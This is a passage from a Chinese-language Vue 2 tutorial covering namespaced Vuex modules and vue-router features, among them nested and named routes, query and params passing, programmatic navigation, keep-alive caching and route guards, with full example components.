this.$store.commit('personAbout/ADD_PERSON',person)
//方式二:借助mapMutations:
...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),
具体案例:
./store/index.js
1 //该文件用于创建Vuex中最为核心的store 2 3 //引入Vue 4 import Vue from 'vue' 5 //引入Vuex 6 import Vuex from 'vuex' 7 import countOptions from './count' 8 import personOptions from './person' 9 //使用Vuex 10 Vue.use(Vuex) 11 12 //创建并暴露store 13 export default new Vuex.Store({ 14 modules:{ 15 countAbout:countOptions, 16 personAbout:personOptions 17 } 18 })
./store/count.js
1 //求和相关的配置 2 export default{ 3 namespaced:true, 4 actions:{ 5 oddJia(context,value){ 6 if(context.state.sum % 2){ 7 context.commit('ODDJIA',value) 8 } 9 }, 10 waitJia(context,value){ 11 setTimeout(() => { 12 context.commit('WAITJIA',value) 13 }, 500); 14 } 15 }, 16 mutations:{ 17 JIA(state,value){ 18 state.sum += value 19 }, 20 JIAN(state,value){ 21 state.sum -= value 22 }, 23 ODDJIA(state,value){ 24 state.sum += value 25 }, 26 WAITJIA(state,value){ 27 state.sum += value 28 }, 29 }, 30 state:{ 31 sum:0,//当前的和 32 school:'杰马课堂', 33 subject:'前端', 34 }, 35 getters:{ 36 bigSum(state){ 37 return state.sum*10 38 } 39 } 40 }
./store/person.js
1 import axios from "axios" 2 import { nanoid } from "nanoid" 3 4 //人员管理相关的配置 5 export default{ 6 namespaced:true, 7 actions:{ 8 addPersonWang(context,value){ 9 if(value.name.indexOf('王')===0){ 10 context.commit('ADD_PERSON',value) 11 }else{ 12 alert('添加的人必须姓王') 13 } 14 }, 15 //向服务器要一个人的名字 16 addPersonServe(context){ 17 axios.get('http://api.uixsj.cn/hitokoto/get?type=social').then( 18 response =>{ 19 context.commit('ADD_PERSON',{id:nanoid(),name:response.data}) 20 }, 21 error =>{ 22 alert(error.messgae) 23 } 24 ) 25 } 26 }, 27 28 mutations:{ 29 ADD_PERSON(state,value){ 30 state.personList.unshift(value) 31 } 32 }, 33 state:{ 34 personList:[ 35 {id:'001',name:'张三'} 36 ] 37 }, 38 getters:{ 39 firstPersonName(state){ 40 return state.personList[0].name 41 } 42 } 43 }
Count.vue
1 <template> 2 <div> 3 <h1>当前求和为:{{sum}}</h1> 4 <h3>当前求和放大10倍为:{{bigSum}}</h3> 5 <h3>我在{{school}},学习{{subject}}</h3> 6 <h3 style="color: blue;">下方列表的总人数是:{{personList.length}}</h3> 7 <select v-model="n"> 8 <option :value="1">1</option> 9 <option :value="2">2</option> 10 <option :value="3">3</option> 11 </select> 12 <button @click="increment(n)">+</button> 13 <button @click="decrement(n)">-</button> 14 <button @click="incrementOdd(n)">当前求和为奇数再加</button> 15 <button @click="incrementWait(n)">等一等再加</button> 16 </div> 17 </template> 18 19 <script> 20 import { mapState,mapGetters,mapMutations,mapActions } from 'vuex' 21 export default { 22 // eslint-disable-next-line vue/multi-word-component-names 23 name:'Count', 24 data(){ 25 return{ 26 n:1,//用户选择的数字 27 } 28 }, 29 computed:{ 30 ...mapState('countAbout',['sum','school','subject']), 31 ...mapState('personAbout',['personList']), 32 ...mapGetters('countAbout',['bigSum']) 33 }, 34 methods:{ 35 ...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}), 36 ...mapActions('countAbout',{incrementOdd:'oddJia',incrementWait:'waitJia'}) 37 } 38 } 39 </script> 40 41 <style> 42 button{ 43 margin-left: 5px; 44 } 45 </style>
Person.vue
1 <template> 2 <div> 3 <h1>人员列表</h1> 4 <h3 style="color:blue">上方组件的求和为:{{sum}}</h3> 5 <h3>列表中第一个名字是:{{firstPersonName}}</h3> 6 <input type="text" placeholder="请输入名字" v-model="name"> 7 <button @click="add">添加</button> 8 <button @click="addWang">添加一个姓王的人</button> 9 <button @click="addPersonServe">添加一个随机姓名</button> 10 <ul> 11 <li v-for="p in personList" :key="p.id">{{p.name}}</li> 12 </ul> 13 </div> 14 </template> 15 16 <script> 17 import { nanoid } from 'nanoid' 18 import { mapGetters, mapState } from 'vuex' 19 export default { 20 // eslint-disable-next-line vue/multi-word-component-names 21 name:'Person', 22 data(){ 23 return{ 24 name:'' 25 } 26 }, 27 computed:{ 28 ...mapState('personAbout',['personList']), 29 ...mapState('countAbout',['sum']), 30 firstPersonName(){ 31 return this.$store.getters['personAbout/firstPersonName'] 32 }, 33 ...mapGetters('personAbout',['firstPersonName']) 34 }, 35 methods:{ 36 add(){ 37 const personObj={id:nanoid(),name:this.name} 38 this.$store.commit('personAbout/ADD_PERSON',personObj) 39 this.name='' 40 }, 41 addWang(){ 42 const personObj={id:nanoid(),name:this.name} 43 this.$store.dispatch('personAbout/addPersonWang',personObj) 44 this.name='' 45 }, 46 addPersonServe(){ 47 this.$store.dispatch('personAbout/addPersonServe') 48 } 49 } 50 } 51 </script> 52 53 <style> 54 55 </style>
App.vue
1 <template> 2 <div> 3 <Count></Count> 4 <hr> 5 <Person></Person> 6 </div> 7 </template> 8 9 <script> 10 import Count from './components/Count' 11 import Person from './components/Person' 12 export default { 13 name:'App', 14 components:{Count,Person} 15 } 16 </script> 17 18 <style> 19 20 </style>
main.js
1 //引入Vue 2 import Vue from 'vue' 3 //引入App 4 import App from './App.vue' 5 //引入插件 6 import vueResource from 'vue-resource' 7 //引入store 8 import store from './store/index' 9 //关闭Vue的生产提示 10 Vue.config.productionTip = false 11 //使用插件 12 Vue.use(vueResource) 13 14 //创建vm 15 new Vue({ 16 el:'#root', 17 render: h => h(App), 18 store, 19 beforeCreate() { 20 Vue.prototype.$bus = this 21 }, 22 })
4. 路由
1.理解: 一个路由(route)就是一组映射关系(key - value),多个路由需要路由器(router)进行管理。
2.前端路由:key是路径,value是组件。
4.1 基本使用
1.安装vue-router,命令:npm i vue-router
2.应用插件:Vue.use(VueRouter)
3.编写router配置项:
1 //引入VueRouter 2 import VueRouter from 'vue-router' 3 //引入Luyou 组件 4 import About from '../components/About' 5 import Home from '../components/Home' 6 7 //创建router实例对象,去管理一组一组的路由规则 8 const router = new VueRouter({ 9 routes:[ 10 { 11 path:'/about', 12 component:About 13 }, 14 { 15 path:'/home', 16 component:Home 17 } 18 ] 19 }) 20 21 //暴露router 22 export default router
4.实现切换(active-class可配置高亮样式)
1 <router-link active-class="active" to="/about">About</router-link>
5.指定展示位置
1 <router-view></router-view>
代码:
/components/About.vue
1 <template> 2 3 <h2>我是About的内容</h2> 4 5 </template> 6 7 <script> 8 export default { 9 name:'About' 10 } 11 </script> 12 13 <style> 14 15 </style>
/components/Home.vue
1 <template> 2 <h2>我是Home的内容</h2> 3 </template> 4 5 <script> 6 export default { 7 name:'Home' 8 } 9 </script>
/router/index.js
1 // 该文件专门用于创建整个应用的路由器 2 import VueRouter from 'vue-router' 3 //引入组件 4 import About from '../components/About' 5 import Home from '../components/Home' 6 7 //创建并暴露一个路由器 8 export default new VueRouter({ 9 routes:[ 10 { 11 path:'/about', 12 component:About 13 }, 14 { 15 path:'/home', 16 component:Home 17 } 18 ] 19 })
App.vue
1 <template> 2 <div> 3 <div class="row"> 4 <div class="col-xs-offset-2 col-xs-8"> 5 <div class="page-header"><h2>Vue Router Demo</h2></div> 6 </div> 7 </div> 8 <div class="row"> 9 <div class="col-xs-2 col-xs-offset-2"> 10 <div class="list-group"> 11 <!-- 原始html中我们使用a标签实现页面的跳转 --> 12 <!-- <a class="list-group-item active" href="./about.html">About</a> --> 13 <!-- <a class="list-group-item" href="./home.html">Home</a> --> 14 15 <!-- Vue中借助router-link标签实现路由的切换 --> 16 <router-link class="list-group-item" active-class="active" to="/about">About</router-link> 17 <router-link class="list-group-item" active-class="active" to="/home">Home</router-link> 18 </div> 19 </div> 20 <div class="col-xs-6"> 21 <div class="panel"> 22 <div class="panel-body"> 23 <!-- 指定组件的呈现位置 --> 24 <router-view></router-view> 25 </div> 26 </div> 27 </div> 28 </div> 29 </div> 30 </template> 31 32 <script> 33 export default { 34 name:'App', 35 } 36 </script>
main.js
1 //引入Vue 2 import Vue from 'vue' 3 //引入App 4 import App from './App.vue' 5 //引入vue-router 6 import VueRouter from 'vue-router' 7 //引入路由器 8 import router from './router/index' 9 //关闭Vue的生产提示 10 Vue.config.productionTip = false 11 //应用插件 12 Vue.use(VueRouter) 13 14 //创建vm 15 new Vue({ 16 el:'#root', 17 render: h => h(App), 18 router:router 19 })
4.2 几个注意点
1.路由组件通常存放在pages文件夹,一般组件通常存放在components文件夹。
2.通过切换,“隐藏”了的路由组件,默认是被销毁掉的,需要的时候再去挂载。
3.每个组件都有自己的$route属性,里面存储着自己的路由信息。
4.整个应用只有一个router,可以通过组件的$router属性获取到。
4.3 多级路由(嵌套路由)
1.配置路由规则,使用children配置项:
1 routes:[ 2 { 3 path:'/about', 4 component:About, 5 }, 6 { 7 path:'/home', 8 component:Home, 9 children:[ //通过children配置子级路由 10 { 11 path:'news', //此处一定不要写:/news 12 component:News 13 }, 14 { 15 path:'message',//此处一定不要写:/message 16 component:Message 17 } 18 ] 19 } 20 ]
2.跳转(要写完整路径):1 <router-link to="/home/news">News</router-link>
3.指定展示位置: 1 <router-view></router-view>
代码:
/components/Banner.vue
1 <template> 2 <div class="col-xs-offset-2 col-xs-8"> 3 <div class="page-header"><h2>Vue Router Demo</h2></div> 4 </div> 5 </template> 6 7 <script> 8 export default { 9 name:'Banner' 10 } 11 </script> 12 13 <style> 14 15 </style>
/pages/About.vue
1 <template> 2 3 <h2>我是About的内容</h2> 4 5 </template> 6 7 <script> 8 export default { 9 name:'About' 10 } 11 </script> 12 13 <style> 14 15 </style>
/pages/Home.vue
1 <template> 2 <div> 3 <h2>Home组件内容</h2> 4 <div> 5 <ul class="nav nav-tabs"> 6 <li> 7 <router-link class="list-group-item" active-class="active" to="/home/news">News</router-link> 8 </li> 9 <li> 10 <router-link class="list-group-item" active-class="active" to="/home/message">Message</router-link> 11 </li> 12 </ul> 13 <ul> 14 <router-view></router-view> 15 </ul> 16 </div> 17 </div> 18 19 </template> 20 21 <script> 22 export default { 23 name:'Home' 24 } 25 </script> 26 27 <style> 28 29 </style>
/pages/Message.vue
1 <template> 2 <div> 3 <ul> 4 <li> 5 <a href="/message1">message001</a> 6 </li> 7 <li> 8 <a href="/message2">message002</a> 9 </li> 10 <li> 11 <a href="/message/3">message003</a> 12 </li> 13 </ul> 14 </div> 15 </template> 16 17 <script> 18 export default { 19 name:'Message' 20 } 21 </script> 22 23 <style> 24 25 </style>
/pages/News.vue
1 <template> 2 <ul> 3 <li>news001</li> 4 <li>news002</li> 5 <li>news003</li> 6 </ul> 7 </template> 8 9 <script> 10 export default { 11 name:'News' 12 } 13 </script> 14 15 <style> 16 17 </style>
/router/index.js
1 //该文件用于创建整个应用的路由器 2 import VueRouter from 'vue-router' 3 //引入组件 4 import About from '../pages/About' 5 import Home from '../pages/Home' 6 import News from '../pages/News' 7 import Message from '../pages/Message' 8 //创建并暴露一个路由器 9 export default new VueRouter({ 10 routes:[ 11 { 12 path:'/about', 13 component:About 14 }, 15 { 16 path:'/home', 17 component:Home, 18 children:[ 19 { 20 path:'news', 21 component:News 22 }, 23 { 24 path:'message', 25 component:Message 26 } 27 ] 28 } 29 ] 30 })
App.vue
1 <template> 2 <div> 3 <div class="row"> 4 <Banner></Banner> 5 </div> 6 <div class="row"> 7 <div class="col-xs-2 col-xs-offset-2"> 8 <div class="list-group"> 9 <!-- 原始html中我们使用a标签实现页面的跳转 --> 10 <!-- <a class="list-group-item active" href="./about.html">About</a> 11 <a class="list-group-item" href="./home.html">Home</a> --> 12 13 <!-- Vue中借助router-link标签实现路由的切换 --> 14 <router-link class="list-group-item" active-class="active" to="/about">About</router-link> 15 <router-link class="list-group-item" active-class="active" to="/home">Home</router-link> 16 </div> 17 </div> 18 <div class="col-xs-6"> 19 <div class="panel"> 20 <div class="panel-body"> 21 <!-- 指定组件的呈现位置 --> 22 <router-view></router-view> 23 </div> 24 </div> 25 </div> 26 </div> 27 </div> 28 </template> 29 30 <script> 31 import Banner from './components/Banner' 32 export default { 33 name:'App', 34 components:{Banner} 35 } 36 </script> 37 38 <style> 39 40 </style>
main.js
1 //引入Vue 2 import Vue from 'vue' 3 //引入App 4 import App from './App.vue' 5 //引入vue-router 6 import VueRouter from 'vue-router' 7 //引入路由器 8 import router from './router/index' 9 //关闭Vue的生产提示 10 Vue.config.productionTip = false 11 //应用插件 12 Vue.use(VueRouter) 13 14 //创建vm 15 new Vue({ 16 el:'#root', 17 render: h => h(App), 18 router:router 19 })
4.4 路由的query参数
1.传递参数
1 <!-- 跳转并携带query参数,to的字符串写法 --> 2 <router-link :to="/home/message/detail?id=666&title=你好">跳转</router-link> 3 4 <!-- 跳转并携带query参数,to的对象写法 --> 5 <router-link 6 :to="{ 7 path:'/home/message/detail', 8 query:{ 9 id:666, 10 title:'你好' 11 } 12 }" 13 >跳转</router-link>
2.接收参数: 1 $route.query.id 2 $route.query.title
案例:
/components/Banner.vue
1 <template> 2 <div class="col-xs-offset-2 col-xs-8"> 3 <div class="page-header"><h2>Vue Router Demo</h2></div> 4 </div> 5 </template> 6 7 <script> 8 export default { 9 name:'Banner' 10 } 11 </script> 12 13 <style> 14 15 </style>
/pages/About.vue
1 <template> 2 3 <h2>我是About的内容</h2> 4 5 </template> 6 7 <script> 8 export default { 9 name:'About' 10 } 11 </script> 12 13 <style> 14 15 </style>
/pages/Detail.vue
1 <template> 2 <ul> 3 <li>消息编号:{{$route.query.id}}</li> 4 <li>消息标题:{{$route.query.title}}</li> 5 </ul> 6 </template> 7 8 <script> 9 export default { 10 name:'Detail', 11 mounted(){ 12 console.log(this.$route) 13 } 14 } 15 </script> 16 17 <style> 18 19 </style>
/pages/Home.vue
1 <template> 2 <div> 3 <h2>Home组件内容</h2> 4 <div> 5 <ul class="nav nav-tabs"> 6 <li> 7 <router-link class="list-group-item" active-class="active" to="/home/news">News</router-link> 8 </li> 9 <li> 10 <router-link class="list-group-item" active-class="active" to="/home/message">Message</router-link> 11 </li> 12 </ul> 13 <ul> 14 <router-view></router-view> 15 </ul> 16 </div> 17 </div> 18 19 </template> 20 21 <script> 22 export default { 23 name:'Home' 24 } 25 </script> 26 27 <style> 28 29 </style>
/pages/Message.vue
1 <template> 2 <div> 3 <ul> 4 <li v-for="m in messageList" :key="m.id"> 5 <!-- 跳转路由并携带query参数,to的字符串写法 --> 6 <!-- <router-link :to="`/home/message/detail?id=${m.id}&title=${m.title}`"> 7 {{m.title}} 8 </router-link> --> 9 10 <!-- 跳转路由并携带query参数,to的对象写法 --> 11 <router-link :to="{ 12 path:'/home/message/detail', 13 query:{ 14 id:m.id, 15 title:m.title 16 } 17 }"> 18 {{m.title}} 19 </router-link> 20 </li> 21 </ul> 22 <hr> 23 <router-view></router-view> 24 </div> 25 </template> 26 27 <script> 28 export default { 29 name:'Message', 30 data(){ 31 return{ 32 messageList:[ 33 {id:'001',title:'消息001'}, 34 {id:'002',title:'消息002'}, 35 {id:'003',title:'消息003'}, 36 ] 37 } 38 } 39 } 40 </script> 41 42 <style> 43 44 </style>
/pages/News.vue
1 <template> 2 <ul> 3 <li>news001</li> 4 <li>news002</li> 5 <li>news003</li> 6 </ul> 7 </template> 8 9 <script> 10 export default { 11 name:'News' 12 } 13 </script> 14 15 <style> 16 17 </style>
/router/index.js
1 //该文件用于创建整个应用的路由器 2 import VueRouter from 'vue-router' 3 //引入组件 4 import About from '../pages/About' 5 import Home from '../pages/Home' 6 import News from '../pages/News' 7 import Message from '../pages/Message' 8 import Detail from '../pages/Detail' 9 //创建并暴露一个路由器 10 export default new VueRouter({ 11 routes:[ 12 { 13 path:'/about', 14 component:About 15 }, 16 { 17 path:'/home', 18 component:Home, 19 children:[ 20 { 21 path:'news', 22 component:News 23 }, 24 { 25 path:'message', 26 component:Message, 27 children:[ 28 { 29 path:'detail', 30 component:Detail 31 } 32 ] 33 } 34 ] 35 } 36 ] 37 })
App.vue
1 <template> 2 <div> 3 <div class="row"> 4 <Banner></Banner> 5 </div> 6 <div class="row"> 7 <div class="col-xs-2 col-xs-offset-2"> 8 <div class="list-group"> 9 <!-- 原始html中我们使用a标签实现页面的跳转 --> 10 <!-- <a class="list-group-item active" href="./about.html">About</a> 11 <a class="list-group-item" href="./home.html">Home</a> --> 12 13 <!-- Vue中借助router-link标签实现路由的切换 --> 14 <router-link class="list-group-item" active-class="active" to="/about">About</router-link> 15 <router-link class="list-group-item" active-class="active" to="/home">Home</router-link> 16 </div> 17 </div> 18 <div class="col-xs-6"> 19 <div class="panel"> 20 <div class="panel-body"> 21 <!-- 指定组件的呈现位置 --> 22 <router-view></router-view> 23 </div> 24 </div> 25 </div> 26 </div> 27 </div> 28 </template> 29 30 <script> 31 import Banner from './components/Banner' 32 export default { 33 name:'App', 34 components:{Banner} 35 } 36 </script> 37 38 <style> 39 40 </style>
main.js
1 //引入Vue 2 import Vue from 'vue' 3 //引入App 4 import App from './App.vue' 5 //引入vue-router 6 import VueRouter from 'vue-router' 7 //引入路由器 8 import router from './router/index' 9 //关闭Vue的生产提示 10 Vue.config.productionTip = false 11 //应用插件 12 Vue.use(VueRouter) 13 14 //创建vm 15 new Vue({ 16 el:'#root', 17 render: h => h(App), 18 router:router 19 })
4.5 命名路由
-
作用:可以简化路由的跳转。
-
如何使用
- 给路由命名:
1 { 2 path:'/demo', 3 component:Demo, 4 children:[ 5 { 6 path:'test', 7 component:Test, 8 children:[ 9 { 10 name:'hello' //给路由命名 11 path:'welcome', 12 component:Hello, 13 } 14 ] 15 } 16 ] 17 }
- 简化跳转:
1 <!--简化前,需要写完整的路径 --> 2 <router-link to="/demo/test/welcome">跳转</router-link> 3 4 <!--简化后,直接通过名字跳转 --> 5 <router-link :to="{name:'hello'}">跳转</router-link> 6 7 <!--简化写法配合传递参数 --> 8 <router-link 9 :to="{ 10 name:'hello', 11 query:{ 12 id:666, 13 title:'你好' 14 } 15 }" 16 >跳转</router-link>
- 给路由命名:
4.6 路由的params参数
-
配置路由,声明接收params参数
1 { 2 path:'/home', 3 component:Home, 4 children:[ 5 { 6 path:'news', 7 component:News 8 }, 9 { 10 component:Message, 11 children:[ 12 { 13 name:'xiangqing', 14 path:'detail/:id/:title', //使用占位符声明接收params参数 15 component:Detail 16 } 17 ] 18 } 19 ] 20 }
-
传递参数
1 <!-- 跳转路由并携带params参数,to的字符串写法 --> 2 <router-link :to="`/home/message/detail/${m.id}/${m.title}`"> 3 {{m.title}} 4 </router-link> 5 6 7 <!-- 跳转路由并携带params参数,to的对象写法 --> 8 <router-link :to="{ 9 name:'xiangqing', 10 params:{ 11 id:m.id, 12 title:m.title 13 } 14 }"> 15 {{m.title}} 16 </router-link>
特别注意:路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置!
3.接收参数
1 <template> 2 <ul> 3 <li>消息编号:{{$route.params.id}}</li> 4 <li>消息标题:{{$route.params.title}}</li> 5 </ul> 6 </template>
4.7 路由的props配置
作用:让路由组件更方便的收到参数
1 path:'message', 2 component:Message, 3 children:[ 4 { 5 name:'xiangqing', 6 path:'detail', 7 component:Detail, 8 9 //谁接收谁写props配置 10 /* //props的第一种写法:值为对象,该对象中所有的key-value都会以props的形式传给Detail组件 11 props:{a:1,b:'hello'} */ 12 13 /* //props的第二种写法:值为布尔值,若布尔值为真,就会把该路由组件收到的所有params参数,以props的形式传给Detail组件 14 props:true */ 15 16 //props的第三种写法,值为函数 17 props($route){ 18 return{id:$route.query.id,title:$route.query.title} 19 } 20 } 21 ]
方便在要跳转去的组件里更简便的写法
跳转去组件的具体代码
1 <template> 2 <ul> 3 <li>消息编号:{{id}}</li> 4 <li>消息标题:{{title}}</li> 5 </ul> 6 </template> 7 8 <script> 9 export default { 10 name:'Detail', 11 props:['id','title'], 12 mounted(){ 13 console.log(this.$route) 14 } 15 } 16 </script>
4.8 <router-link>的replace属性
- 作用:控制路由跳转时操作浏览器历史记录的模式
- 浏览器的历史记录有两种写入方式:分别为push和replace,push是追加历史记录,replace是替换当前记录。路由跳转时候默认为push
- 如何开启replace模式:<router-link replace .......>News</router-link>
4.9 编程式路由导航
-
作用:不借助
<router-link>实现路由跳转,让路由跳转更加灵活 -
具体编码:
1 //$router的两个API 2 this.$router.push({ 3 name:'xiangqing', 4 params:{ 5 id:xxx, 6 title:xxx 7 } 8 }) 9 10 this.$router.replace({ 11 name:'xiangqing', 12 params:{ 13 id:xxx, 14 title:xxx 15 } 16 }) 17 this.$router.forward() //前进 18 this.$router.back() //后退 19 this.$router.go() //可前进也可后退
案例代码:
components\Banner.vue
1 <template> 2 <div class="col-xs-offset-2 col-xs-8"> 3 <div class="page-header"> 4 <h2>Vue Router Demo</h2> 5 <button @click="back">前进</button> 6 <button @click="forward">后退</button> 7 <button @click="test">测试go</button> 8 </div> 9 </div> 10 </template> 11 12 <script> 13 export default { 14 name:'Banner', 15 methods:{ 16 back(){ 17 this.$router.back() 18 }, 19 forward(){ 20 this.$router.forward() 21 }, 22 test(){ 23 this.$router.go(3)//数字传几,就会前进或者后退几 24 } 25 } 26 } 27 </script> 28 29 <style> 30 31 </style>
pages\About.vue
1 <template> 2 3 <h2>我是About的内容</h2> 4 5 </template> 6 7 <script> 8 export default { 9 name:'About' 10 } 11 </script> 12 13 <style> 14 15 </style>
pages\Detail.vue
1 <template> 2 <ul> 3 <li>消息编号:{{id}}</li> 4 <li>消息标题:{{title}}</li> 5 </ul> 6 </template> 7 8 <script> 9 export default { 10 name:'Detail', 11 props:['id','title'], 12 mounted(){ 13 console.log(this.$route) 14 } 15 } 16 </script> 17 18 <style> 19 20 </style>
pages\Home.vue
1 <template> 2 <div> 3 <h2>Home组件内容</h2> 4 <div> 5 <ul class="nav nav-tabs"> 6 <li> 7 <router-link class="list-group-item" active-class="active" to="/home/news">News</router-link> 8 </li> 9 <li> 10 <router-link class="list-group-item" active-class="active" to="/home/message">Message</router-link> 11 </li> 12 </ul> 13 <ul> 14 <router-view></router-view> 15 </ul> 16 </div> 17 </div> 18 19 </template> 20 21 <script> 22 export default { 23 name:'Home' 24 } 25 </script> 26 27 <style> 28 29 </style>
pages\Message.vue
1 <template> 2 <div> 3 <ul> 4 <li v-for="m in messageList" :key="m.id"> 5 <!-- 跳转路由并携带params参数,to的对象写法 --> 6 <router-link :to="{ 7 name:'xiangqing', 8 params:{ 9 id:m.id, 10 title:m.title 11 } 12 }"> 13 {{m.title}} 14 </router-link> 15 <button @click="pushShow(m)">push查看</button> 16 <button @click="replaceShow(m)">replace查看</button> 17 </li> 18 </ul> 19 <hr> 20 <router-view></router-view> 21 </div> 22 </template> 23 24 <script> 25 export default { 26 name:'Message', 27 data(){ 28 return{ 29 messageList:[ 30 {id:'001',title:'消息001'}, 31 {id:'002',title:'消息002'}, 32 {id:'003',title:'消息003'}, 33 ] 34 } 35 }, 36 methods:{ 37 pushShow(m){ 38 this.$router.push({ 39 name:'xiangqing', 40 params:{ 41 id:m.id, 42 title:m.title 43 } 44 }) 45 }, 46 replaceShow(m){ 47 this.$router.replace({ 48 name:'xiangqing', 49 params:{ 50 id:m.id, 51 title:m.title 52 } 53 }) 54 } 55 } 56 } 57 </script>
pages\News.vue
1 <template> 2 <ul> 3 <li>news001</li> 4 <li>news002</li> 5 <li>news003</li> 6 </ul> 7 </template> 8 9 <script> 10 export default { 11 name:'News' 12 } 13 </script> 14 15 <style> 16 17 </style>
\router\index.js
1 //该文件用于创建整个应用的路由器 2 import VueRouter from 'vue-router' 3 //引入组件 4 import About from '../pages/About' 5 import Home from '../pages/Home' 6 import News from '../pages/News' 7 import Message from '../pages/Message' 8 import Detail from '../pages/Detail' 9 //创建并暴露一个路由器 10 export default new VueRouter({ 11 routes:[ 12 { 13 name:'guanyu', 14 path:'/about', 15 component:About 16 }, 17 { 18 path:'/home', 19 component:Home, 20 children:[ 21 { 22 path:'news', 23 component:News 24 }, 25 { 26 path:'message', 27 component:Message, 28 children:[ 29 { 30 name:'xiangqing', 31 path:'detail/:id/:title', 32 component:Detail, 33 34 props($route){ 35 return{id:$route.params.id,title:$route.params.title} 36 } 37 } 38 ] 39 } 40 ] 41 } 42 ] 43 })
App.vue
<template> <div> <div class="row"> <Banner></Banner> </div> <div class="row"> <div class="col-xs-2 col-xs-offset-2"> <div class="list-group"> <!-- 原始html中我们使用a标签实现页面的跳转 --> <!-- <a class="list-group-item active" href="./about.html">About</a> <a class="list-group-item" href="./home.html">Home</a> --> <!-- Vue中借助router-link标签实现路由的切换 --> <router-link class="list-group-item" active-class="active" :to="{name:'guanyu'}">About</router-link> <router-link class="list-group-item" active-class="active" to="/home">Home</router-link> </div> </div> <div class="col-xs-6"> <div class="panel"> <div class="panel-body"> <!-- 指定组件的呈现位置 --> <router-view></router-view> </div> </div> </div> </div> </div> </template> <script> import Banner from './components/Banner' export default { name:'App', components:{Banner} } </script> <style> </style>
main.js
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//引入vue-router
import VueRouter from 'vue-router'
//引入路由器
import router from './router/index'
//关闭Vue的生产提示
Vue.config.productionTip = false
//应用插件
Vue.use(VueRouter)
//创建vm
new Vue({
el:'#root',
render: h => h(App),
router:router
})
4.10 缓存路由组件
-
作用:让不展示的路由组件保持挂载,不被销毁。
-
具体编码:
要想清楚要缓存的路由组件在哪展示,在哪展示就加到哪
这个 include 指的是组件名
1 <keep-alive include="News"> 2 <router-view></router-view> 3 </keep-alive>
4.11 两个新的生命周期钩子
作用:路由组件所独有的两个钩子,用于捕获路由组件的激活状态。
具体名字:
activated路由组件被激活时触发。deactivated路由组件失活时触发。
这两个生命周期钩子需要配合前面的缓存路由组件使用(没有缓存路由组件不起效果)
<template> <ul> <li :style="{opacity}">欢迎学习Vue</li> <li>news001 <input type="text"></li> <li>news002 <input type="text"></li> <li>news003 <input type="text"></li> </ul> </template> <script> export default { name:'News', data(){ return{ opacity:1 } }, /* beforeDestory(){ clearInterval(this.timer) }, mounted(){ this.timer= setInterval(() => { this.opacity -=0.01 if(this.opacity<=0) this.opacity=1 }, 16); } */ //激活 activated(){ this.timer= setInterval(() => { this.opacity -=0.01 if(this.opacity<=0) this.opacity=1 }, 16); }, //失活 deactivated(){ clearInterval(this.timer) } } </script> <style> </style>
4.12 路由守卫
-
作用:对路由进行权限控制
-
分类:全局守卫、独享守卫、组件内守卫
-
全局守卫:
//全局前置守卫:初始化时执行、每次路由切换前执行 router.beforeEach((to,from,next)=>{ console.log('beforeEach',to,from) if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制 if(localStorage.getItem('school') === 'zhejiang'){ //权限控制的具体规则 next() //放行 }else{ alert('暂无权限查看') // next({name:'guanyu'}) } }else{ next() //放行 } }) //全局后置守卫:初始化时执行、每次路由切换后执行 router.afterEach((to,from)=>{ console.log('afterEach',to,from) if(to.meta.title){ document.title = to.meta.title //修改网页的title }else{ document.title = 'vue_test' } })
完整代码:
//该文件用于创建整个应用的路由器 import VueRouter from 'vue-router' //引入组件 import About from '../pages/About' import Home from '../pages/Home' import News from '../pages/News' import Message from '../pages/Message' import Detail from '../pages/Detail' //创建并暴露一个路由器 const router = new VueRouter({ routes:[ { name:'guanyu', path:'/about', component:About, meta:{title:'关于'} }, { name:'zhuye', path:'/home', component:Home, meta:{title:'主页'}, children:[ { name:'xinwen', path:'news', component:News, meta:{isAuth:true,title:'新闻'} }, { name:'xiaoxi', path:'message', component:Message, meta:{isAuth:true,title:'消息'}, children:[ { name:'xiangqing', path:'detail/:id/:title', component:Detail, meta:{title:'详情'}, props($route){ return{id:$route.params.id,title:$route.params.title} } } ] } ] } ] }) //全局前置路由守卫——初始化的时候被调用,每次路由切换之前被调用 router.beforeEach((to,from,next)=>{ console.log('前置路由守卫',to,from) if(to.meta.isAuth){ if(localStorage.getItem('school') === 'atguigu'){ next() }else{ alert('学校名错误,无权限') } }else{ next() } }) //全局后置路由守卫——初始化的时候被调用,每次路由切换之后被调用 router.afterEach((to,from)=>{ console.log('后置路由守卫',to,from) document.title=to.meta.title || '杰马' }) export default router
- 独享守卫:
就是在 routes 子路由内写守卫
{ name:'zhuye', path:'/home', component:Home, meta:{title:'主页'}, children:[ { name:'xinwen', path:'news', component:News, meta:{isAuth:true,title:'新闻'}, /* //独享路由守卫 beforeEnter:(to,from,next)=>{ console.log('独享路由守卫',to,from) if(to.meta.isAuth){ if(localStorage.getItem('school') === 'atguigu'){ next() }else{ alert('学校名错误,无权限') } }else{ next() } } */ },
- 组件内守卫:
在具体组件内写守卫
//进入守卫:通过路由规则,进入该组件时被调用
beforeRouteEnter (to, from, next) {
},
//离开守卫:通过路由规则,离开该组件时被调用
beforeRouteLeave (to, from, next) {
}
具体代码:
<template>
<h2>我是About的内容</h2>
</template>
<script>
export default {
name:'About',
//通过路由规则,进入该组件时被调用
beforeRouteEnter(to,from,next){
console.log('About-beforeRouteEnter',to,from)
if(to.meta.isAuth){
if(localStorage.getItem('school') === 'atguigu'){
next()
}else{
alert('学校名错误,无权限')
}
}else{
next()
}
},
//通过路由规则,离开该组件时被调用
beforeRouteLeave(to,from,next){
console.log('About-beforeRouteleave',to,from)
next()
}
}
</script>
<style>
</style>
4.13 路由器的两种工作模式
对于一个url来说,什么是hash值?—— #及其后面的内容就是hash值。
hash值不会包含在 HTTP 请求中,即:hash值不会带给服务器。
hash模式:
地址中永远带着#号,不美观 。
若以后将地址通过第三方手机app分享,若app校验严格,则地址会被标记为不合法。
兼容性较好。
history模式:
地址干净,美观 。
兼容性和hash模式相比略差。
应用部署上线时需要后端人员支持,解决刷新页面服务端404的问题。
const router = new VueRouter({ mode:'history',//不写mode,默认就是hash routes:[ { name:'guanyu', path:'/about', component:About, meta:{isAuth:true,title:'关于'}, },
Vue3
1.创建Vue3.0工程
1.1使用 vue-cli 创建
